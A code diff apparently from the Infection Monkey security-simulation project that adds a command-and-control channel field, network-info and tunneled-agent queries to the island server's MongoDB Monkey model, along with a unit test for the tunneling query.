from monkey_ttl import MonkeyTtl
from pba_results import PbaResults
from command_control_channel import CommandControlChannel
from monkey import Monkey

View File

@ -0,0 +1,11 @@
from mongoengine import EmbeddedDocument, StringField
class CommandControlChannel(EmbeddedDocument):
"""
This value describes command and control channel monkey used in communication
src - Monkey Island's IP
dst - Monkey's IP (in case of a proxy chain this is the IP of the last monkey)
"""
src = StringField()
dst = StringField()

View File

@ -6,6 +6,7 @@ from mongoengine import Document, StringField, ListField, BooleanField, Embedded
from monkey_island.cc.models.monkey_ttl import MonkeyTtl, create_monkey_ttl_document
from monkey_island.cc.consts import DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS
from monkey_island.cc.models.command_control_channel import CommandControlChannel
class Monkey(Document):
@ -36,6 +37,9 @@ class Monkey(Document):
pba_results = ListField()
ttl_ref = ReferenceField(MonkeyTtl)
tunnel = ReferenceField("self")
command_control_channel = EmbeddedDocumentField(CommandControlChannel)
aws_instance_id = StringField(required=False) # This field only exists when the monkey is running on an AWS
# instance. See https://github.com/guardicore/monkey/issues/426.
# LOGIC
@staticmethod
@ -80,6 +84,17 @@ class Monkey(Document):
os = "windows"
return os
def get_network_info(self):
"""
Formats network info from monkey's model
:return: dictionary with an array of IP's and a hostname
"""
return {'ips': self.ip_addresses, 'hostname': self.hostname}
@staticmethod
def get_tunneled_monkeys():
return Monkey.objects(tunnel__exists=True)
def renew_ttl(self, duration=DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS):
self.ttl_ref = create_monkey_ttl_document(duration)
self.save()

View File

@ -1,19 +1,19 @@
import uuid
from time import sleep
from .monkey import Monkey
from monkey import Monkey
from monkey_island.cc.models.monkey import MonkeyNotFoundError
from monkey_island.cc.testing.IslandTestCase import IslandTestCase
from .monkey_ttl import MonkeyTtl
from monkey_ttl import MonkeyTtl
class TestMonkey(IslandTestCase):
"""
Make sure to set server environment to `testing` in server.json! Otherwise this will mess up your mongo instance and
Make sure to set server environment to `testing` in server_config.json! Otherwise this will mess up your mongo instance and
won't work.
Also, the working directory needs to be the working directory from which you usually run the island so the
server.json file is found and loaded.
server_config.json file is found and loaded.
"""
def test_is_dead(self):
@ -87,6 +87,28 @@ class TestMonkey(IslandTestCase):
windows_monkey.save()
unknown_monkey.save()
self.assertEqual(1, len([m for m in Monkey.objects() if m.get_os() == "windows"]))
self.assertEqual(1, len([m for m in Monkey.objects() if m.get_os() == "linux"]))
self.assertEqual(1, len([m for m in Monkey.objects() if m.get_os() == "unknown"]))
self.assertEquals(1, len(filter(lambda m: m.get_os() == "windows", Monkey.objects())))
self.assertEquals(1, len(filter(lambda m: m.get_os() == "linux", Monkey.objects())))
self.assertEquals(1, len(filter(lambda m: m.get_os() == "unknown", Monkey.objects())))
def test_get_tunneled_monkeys(self):
self.fail_if_not_testing_env()
self.clean_monkey_db()
linux_monkey = Monkey(guid=str(uuid.uuid4()),
description="Linux shay-Virtual-Machine")
windows_monkey = Monkey(guid=str(uuid.uuid4()),
description="Windows bla bla bla",
tunnel=linux_monkey)
unknown_monkey = Monkey(guid=str(uuid.uuid4()),
description="bla bla bla",
tunnel=windows_monkey)
linux_monkey.save()
windows_monkey.save()
unknown_monkey.save()
tunneled_monkeys = Monkey.get_tunneled_monkeys()
test = bool(windows_monkey in tunneled_monkeys
and unknown_monkey in tunneled_monkeys
and linux_monkey not in tunneled_monkeys
and len(tunneled_monkeys) == 2)
self.assertTrue(test, "Tunneling test")

Some files were not shown because too many files have changed in this diff Show More